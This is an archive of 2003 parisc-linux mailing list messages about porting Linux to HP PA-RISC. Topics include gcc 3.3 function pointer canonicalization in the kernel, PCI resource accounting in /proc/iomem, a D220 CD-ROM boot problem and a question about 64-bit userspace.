NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:43 +0000 (UTC)
Cc: "b.gunreben" <b.gunreben@web.de>, jsoe0708@tiscali.be,
	willy@debian.org, doko@cs.tu-berlin.de, debian-hppa@lists.debian.org,
	debian-gcc@lists.debian.org, parisc-linux@lists.parisc-linux.org,
	kuznet@ms2.inr.ac.ru, linux-net@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 18 12:06:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id B970648BC
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Mar 2003 12:06:33 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 26C7ACD294; Tue, 18 Mar 2003 11:02:20 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <200303181853.h2IIr53R016234@hiauly1.hia.nrc.ca>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17990

> __canonicalize_funcptr_for_compare depends critically on the
> the initial setup of function descriptors by the dynamic loader
> and the trampoline in the dynamic loader used to resolve the
> address of functions.  This could easily break if someone
> unknowing messes with the pa specific parts of the dynamic
> loader or the setup of function descriptors.

um, Dave, we are talking about kernel here right? so no dynamic loader
is involved.

or did i misnuderstand you?
randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:27:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FWD: PCI Patches update
Date: Tue, 18 Mar 2003 12:12:36 -0700
Lines: 75
Approved: news@gmane.org
Message-ID: <20030318191236.GA6815@dsl2.external.hp.com>
References: <20030318062233.GA21487@dsl2.external.hp.com> <20030318140637.GE14520@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622303 23346 80.91.229.3 (22 Nov 2014 02:11:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 18 12:12:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 20CE948C4; Tue, 18 Mar 2003 12:12:36 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20030318140637.GE14520@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17991

On Tue, Mar 18, 2003 at 02:06:37PM +0000, Matthew Wilcox wrote:
> > PARISC lba_pci.c currently only advertises Distributed ranges
> > and pretends Directed ranges don't exist. Things still work,
> > but the resource accounting in /proc/iomem is inaccurate.
> 
> We can fix that!  ;-)

yes. ivan also sent me some suggestions (which I suspect are for 2.5).
But I still care more about getting 2.4 working right.

> Thanks for posting the example, it makes life much easier.  To take some
> experience from ccio-based systems, we might favour a /proc/iomem which
> ends up looking something like this:
> 
> f0000000-f0ffffff : PCI bus [10/0/]

yes - adding the HW path would be a good idea.
It would help identify which LBA/ropes are involved.
But printing the PCI bus number (in addition?) makes more sense since
I can then correlate iomem output with lspci output.


> So, how to accomplish this?  You're right it's going to be a little more
> tricky than before since we may discover overlapping ranges in any order
> and the directed range always takes priority over the distributed range.

exactly. I'm still thinking about it and my current idea is to
read all SBA ranges first and then let LBA code resolve conflicts
as attemptes to claim ranges. Ivan got me started on that:
| First, you create the set of MMIO resources for SBA which represents
| all MMIO ranges. Then you can either shrink or completely remove
| those of resources for Distributed ranges which overlap with Directed
| range to avoid resource conflicts (this seems to be ok as you says that
| the latter has precedence).

The only problem I'm still looking at is Direct Ranges are described
by three registers which *only* can be read using 64-bit reads.
Tough to do from a (strictly) PA 1.1 built kernel. Still looking
at this issue before moving on.


> Calling __request_resource() will return the address of a conflicting
> resource (if there is one).  Only snag is that it's static, but I'm
> sure no-one will scream too loudly if we unstatic it.  So if we're
> requesting a directed range, we'll tweak the existing range to move it
> out of our way.  If we're requesting a distributed range, we'll shrink
> our range to avoid colliding.  In either case, we will request again.

yes, this is a good idea. I guess I had the same idea but hadn't thought
out how to implement it.

> > [ I now see one additional bugs *sigh*: PCI-PCI bridge resources are
> > not properly accounted (4-port Tulip) card. I'll have to fix that. ]
> 
> iomem isn't a device hierarchy... it's not necessary to put _everything_
> in.  Having said that, I think it'd be kind of nice to have it.

right. /proc/iomem *is* a resource hierarchy and part of the hierarchy
is missing in the case of PCI-PCI bridge.


> Hmm.. if I remember rightly, we put a large number of gfx cards in the
> L2000 in Fort Collins once... wonder if they're still in there.

but L2000 is a PAT PDC box.  We'll get different behavior than B2600.
Unless PAT PDC supports those as boot devices, none of them will get
enabled since lba_pci.c doesn't attempt to program Directed Ranges
(aka lba_dev->elmmio).

Anyway, personally, I don't care about gfx cards working under PAT PDC.
If someone has to make it work, I'm happy to advise and review patches.

thanks,
grant


From - Thu Nov 08 21:27:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gcc-3.2 -> gcc-3.3 transition on hppa
Date: Tue, 18 Mar 2003 14:16:22 -0500 (EST)
Lines: 21
Approved: news@gmane.org
Message-ID: <200303181916.h2IJGM7R016380__3578.02498988367$1416622303$gmane$org@hiauly1.hia.nrc.ca>
References: <20030318190220.GT26139@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622303 23352 80.91.229.3 (22 Nov 2014 02:11:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:43 +0000 (UTC)
Cc: b.gunreben@web.de, jsoe0708@tiscali.be, willy@debian.org,
	doko@cs.tu-berlin.de, debian-hppa@lists.debian.org,
	debian-gcc@lists.debian.org, parisc-linux@lists.parisc-linux.org,
	kuznet@ms2.inr.ac.ru, linux-net@vger.kernel.org
To: tausq@debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 18 12:16:28 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id BD80D488E
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Mar 2003 12:16:27 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.8/8.12.8) with ESMTP id h2IJGNsQ016382;
	Tue, 18 Mar 2003 14:16:23 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.8/8.12.8/Submit) id h2IJGM7R016380;
	Tue, 18 Mar 2003 14:16:22 -0500 (EST)
In-Reply-To: <20030318190220.GT26139@tausq.org> from "Randolph Chung" at Mar 18, 2003 11:02:20 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17992

> um, Dave, we are talking about kernel here right? so no dynamic loader
> is involved.
> 
> or did i misnuderstand you?
> randolph

I believe that we were talking about a problem in in glibc's use
of __canonicalize_funcptr_for_compare with a gcc 3.3 compiled kernel.

In any program with static linkage, the plabel bit shouldn't be
set in a function descriptor pointer.  In that case,
__canonicalize_funcptr_for_compare just returns the function
descriptor pointer.  Things only get hairy when the dynamic loader
is involved and the routine has to figure out the address of
the function fixup in the dynamic loader.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:27:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem with CDROM
Date: Tue, 18 Mar 2003 11:34:35 -0800 (PST)
Lines: 46
Approved: news@gmane.org
Message-ID: <20030318193435.67723.qmail@web12504.mail.yahoo.com>
References: <20030318181824.GK14520@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="0-582556151-1048016075=:67623"
X-Trace: ger.gmane.org 1416622304 23355 80.91.229.3 (22 Nov 2014 02:11:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:44 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 18 12:34:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12504.mail.yahoo.com (web12504.mail.yahoo.com [216.136.173.196])
	by dsl2.external.hp.com (Postfix) with SMTP id BB5B048C4
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Mar 2003 12:34:36 -0700 (MST)
Original-Received: from [156.153.255.134] by web12504.mail.yahoo.com via HTTP; Tue, 18 Mar 2003 11:34:35 PST
In-Reply-To: <20030318181824.GK14520@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17993

--0-582556151-1048016075=:67623
Content-Type: text/plain; charset=us-ascii


Actually I'm not sure why you get anything that says "removable media" at all.  At the boot handler of the D250 here in the office, the CDROM comes up as "random access media".  That is the same for the hard drives.  Tapes should show up as "sequential access media".  Typically the CDROM shows up when doing a "sea" or "sea ipl" (if it has bootable media in it) by default.  There is nothing you can do to "make" it show up.  If it's not showing up, there may be a hardware issue with it.  It is feasible that the 50 pin cable on the back of the CDROM has come loose.  If you do a regular search from the boot handler and don't see it (usually at address 8/16/5.2) then you will probably have to do some hardware troubleshooting.  The D's aren't the easiest machines to work on due to limited space 
 in that area by the I/O bay.  Anyway if you need further help getting into the box and troubleshooting it, let me know.  I am an HP hardware guy so I could walk you through checking the back of the CDROM.
derek
 Matthew Wilcox <willy@debian.org> wrote:On Tue, Mar 18, 2003 at 12:45:55PM -0600, Brian Beaver wrote:
> One of the schools I serve has been donated a HP 9000 DE 220. I've

You mean a D220?

> figured out the serial console, but I can't find out how to add the CDROM
> drive as a boot drive. The IPL shows the removable media and the Lan
> module as bootable.
> 
> P0 8/16/5.6 removable media (IPL)
> P1 8/16/6.0 LAN module

You don't think a CD-ROM drive qualifies as `removable media'? ;-)

-- 
"It's not Hollywood. War is real, war is primarily not about defeat or
victory, it is about death. I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


---------------------------------
Do you Yahoo!?
Yahoo! Platinum - Watch CBS' NCAA March Madness, live on your desktop!
--0-582556151-1048016075=:67623
Content-Type: text/html; charset=us-ascii

<P>Actually I'm not sure why you get anything that says "removable media" at all.&nbsp; At the boot handler of the D250 here in the office, the CDROM comes up as "random access media".&nbsp; That is the same for the hard drives.&nbsp; Tapes should show up as "sequential access media".&nbsp; Typically the CDROM shows up when doing a "sea" or "sea ipl" (if it has bootable media in it) by default.&nbsp; There is nothing you can do to "make" it show up.&nbsp; If it's not showing up, there may be a hardware issue with it.&nbsp;&nbsp;It is&nbsp;feasible that the&nbsp;50 pin cable on the back of the CDROM has come&nbsp;loose.&nbsp; If you do a regular search from the boot handler and don't see it (usually at address 8/16/5.2) then you will probably have to do some hardware troubleshooting.&nbsp; 
 The D's aren't the easiest machines to work on due to limited space in that area by the I/O bay.&nbsp;&nbsp;Anyway if you need further help getting into the box and troubleshooting it, let me know.&nbsp; I am an HP hardware guy so I could walk you through checking the back of the CDROM.
<P>derek
<P>&nbsp;<B><I>Matthew Wilcox &lt;willy@debian.org&gt;</I></B> wrote:
<BLOCKQUOTE style="PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #1010ff 2px solid">On Tue, Mar 18, 2003 at 12:45:55PM -0600, Brian Beaver wrote:<BR>&gt; One of the schools I serve has been donated a HP 9000 DE 220. I've<BR><BR>You mean a D220?<BR><BR>&gt; figured out the serial console, but I can't find out how to add the CDROM<BR>&gt; drive as a boot drive. The IPL shows the removable media and the Lan<BR>&gt; module as bootable.<BR>&gt; <BR>&gt; P0 8/16/5.6 removable media (IPL)<BR>&gt; P1 8/16/6.0 LAN module<BR><BR>You don't think a CD-ROM drive qualifies as `removable media'? ;-)<BR><BR>-- <BR>"It's not Hollywood. War is real, war is primarily not about defeat or<BR>victory, it is about death. I've seen thousands and thousands of dead bodies.<BR>Do you think I want to have an acad
 emic debate on this subject?" -- Robert Fisk<BR>_______________________________________________<BR>parisc-linux mailing list<BR>parisc-linux@lists.parisc-linux.org<BR>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux</BLOCKQUOTE><p><br><hr size=1>Do you Yahoo!?<br>
<a href="http://rd.yahoo.com/platinum/evt=8162/*http://platinum.yahoo.com/splash.html">Yahoo! Platinum</a> - Watch CBS' NCAA March Madness, <a href="http://rd.yahoo.com/platinum/evt=8162/*http://platinum.yahoo.com/splash.html">live on your desktop</a>!
--0-582556151-1048016075=:67623--


From - Thu Nov 08 21:27:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gcc-3.2 -> gcc-3.3 transition on hppa
Date: Tue, 18 Mar 2003 12:21:04 -0800
Lines: 27
Approved: news@gmane.org
Message-ID: <20030318202104.GV26139__23000.9289844476$1416622304$gmane$org@tausq.org>
References: <20030318190220.GT26139@tausq.org> <200303181916.h2IJGM7R016380@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622304 23357 80.91.229.3 (22 Nov 2014 02:11:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:44 +0000 (UTC)
Cc: b.gunreben@web.de, jsoe0708@tiscali.be, willy@debian.org,
	doko@cs.tu-berlin.de, debian-hppa@lists.debian.org,
	debian-gcc@lists.debian.org, parisc-linux@lists.parisc-linux.org,
	kuznet@ms2.inr.ac.ru, linux-net@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 18 13:25:52 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 61B38488E
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Mar 2003 13:25:52 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 4A2C4CD294; Tue, 18 Mar 2003 12:21:04 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <200303181916.h2IJGM7R016380@hiauly1.hia.nrc.ca>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17994

> I believe that we were talking about a problem in in glibc's use
> of __canonicalize_funcptr_for_compare with a gcc 3.3 compiled kernel.

Quoting an earlier mail:
> IAOQ = 10351b7c
> Func: __canonicalize_funcptr_for_compare, Off: 38, Addr: 0x10351b7c
> 10351b70:       2a 6b 50 00     addil 56800,r19,%r1
> 10351b74:       48 21 0c a8     ldw 654(r1),r1
> 10351b78:       d4 60 1c 1e     depwi 0,31,2,r3
> 10351b7c:       0c 60 10 94     ldw 0(sr0,r3),r20
>
> GR0 = 00000000
>
> GR1 = 103eee50
> Func: _GLOBAL_OFFSET_TABLE_, Off: 0, Addr: 0x103eee50
>
> GR2 = 101342f8
> Func: do_sigaction, Off: a8, Addr: 0x101342f8

these are definitely kernel addresses....

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:27:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gcc-3.2 -> gcc-3.3 transition on hppa
Date: Tue, 18 Mar 2003 15:55:42 -0500 (EST)
Lines: 36
Approved: news@gmane.org
Message-ID: <200303182055.h2IKthRI017578__27678.2382200055$1416622304$gmane$org@hiauly1.hia.nrc.ca>
References: <20030318202104.GV26139@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622304 23359 80.91.229.3 (22 Nov 2014 02:11:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:44 +0000 (UTC)
Cc: b.gunreben@web.de, jsoe0708@tiscali.be, willy@debian.org,
	doko@cs.tu-berlin.de, debian-hppa@lists.debian.org,
	debian-gcc@lists.debian.org, parisc-linux@lists.parisc-linux.org,
	kuznet@ms2.inr.ac.ru, linux-net@vger.kernel.org
To: tausq@debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 18 13:55:53 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 147484829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Mar 2003 13:55:53 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.8/8.12.8) with ESMTP id h2IKtisQ017580;
	Tue, 18 Mar 2003 15:55:45 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.8/8.12.8/Submit) id h2IKthRI017578;
	Tue, 18 Mar 2003 15:55:43 -0500 (EST)
In-Reply-To: <20030318202104.GV26139@tausq.org> from "Randolph Chung" at Mar 18, 2003 12:21:04 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17995

> > I believe that we were talking about a problem in in glibc's use
> > of __canonicalize_funcptr_for_compare with a gcc 3.3 compiled kernel.
> 
> Quoting an earlier mail:
> > IAOQ = 10351b7c
> > Func: __canonicalize_funcptr_for_compare, Off: 38, Addr: 0x10351b7c
> > 10351b70:       2a 6b 50 00     addil 56800,r19,%r1
> > 10351b74:       48 21 0c a8     ldw 654(r1),r1
> > 10351b78:       d4 60 1c 1e     depwi 0,31,2,r3
> > 10351b7c:       0c 60 10 94     ldw 0(sr0,r3),r20
> >
> > GR0 = 00000000
> >
> > GR1 = 103eee50
> > Func: _GLOBAL_OFFSET_TABLE_, Off: 0, Addr: 0x103eee50
> >
> > GR2 = 101342f8
> > Func: do_sigaction, Off: a8, Addr: 0x101342f8
> 
> these are definitely kernel addresses....

Right.  I see the code that's causing the problem in kernel/signal.c:

                if (k->sa.sa_handler == SIG_IGN
		    || (k->sa.sa_handler == SIG_DFL


You don't want to canonicalize k->sa.sa_handler here, so a cast to
void * or something is needed.  The PA is the only port that I am
aware of that needs to canonicalize function pointers.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:27:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "FARINATI,LEANDRO (HP-Brazil,ex1)" <leandro.farinati@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 64 bit userspace
Date: Tue, 18 Mar 2003 16:02:46 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <9A0482A7BD2506488AD9417C93F3714F01F2EB00@xsp01.brazil.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416622305 23361 80.91.229.3 (22 Nov 2014 02:11:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:45 +0000 (UTC)
To: "Parisc-Linux List (E-mail)" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 18 14:02:55 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel9.hp.com (atlrel9.hp.com [156.153.255.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id 30ABE4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Mar 2003 14:02:55 -0700 (MST)
Original-Received: from xatlrelay2.atl.hp.com (xatlrelay2.atl.hp.com [15.45.89.191])
	by atlrel9.hp.com (Postfix) with ESMTP id B84D91C01741
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Mar 2003 16:02:54 -0500 (EST)
Original-Received: from xatlbh4.atl.hp.com (xatlbh4.atl.hp.com [15.45.89.189])
	by xatlrelay2.atl.hp.com (Postfix) with ESMTP id A9EA21C000B5
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Mar 2003 16:02:54 -0500 (EST)
Original-Received: by xatlbh4.atl.hp.com with Internet Mail Service (5.5.2655.55)
	id <GJS0M1MR>; Tue, 18 Mar 2003 16:02:54 -0500
X-Mailer: Internet Mail Service (5.5.2655.55)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17996

Hi people,

	I would to know, what be missing to finish 64 bit userspace to we
run 64 bit applications?
	If someone could enumerate the missing items and where we could
access this development source, maybe I can give some help in this
development.

	Thanks in advance,

-----------------------------------------------------------------------
              Leandro Marcondes Farinati
                    Software Developer

*   leandro.farinati@hp.com




From - Thu Nov 08 21:27:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Quinn, Timothy" <Timothy.Quinn@McKesson.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP 9000 H50
Date: Tue, 18 Mar 2003 16:10:31 -0500
Lines: 47
Approved: news@gmane.org
Message-ID: <97399C6F047FFE43BA1F4520E9E27EF5018C1915@atlexc05ntms.hboc.com>
NNTP-Posting-Host: plane.gmane.org
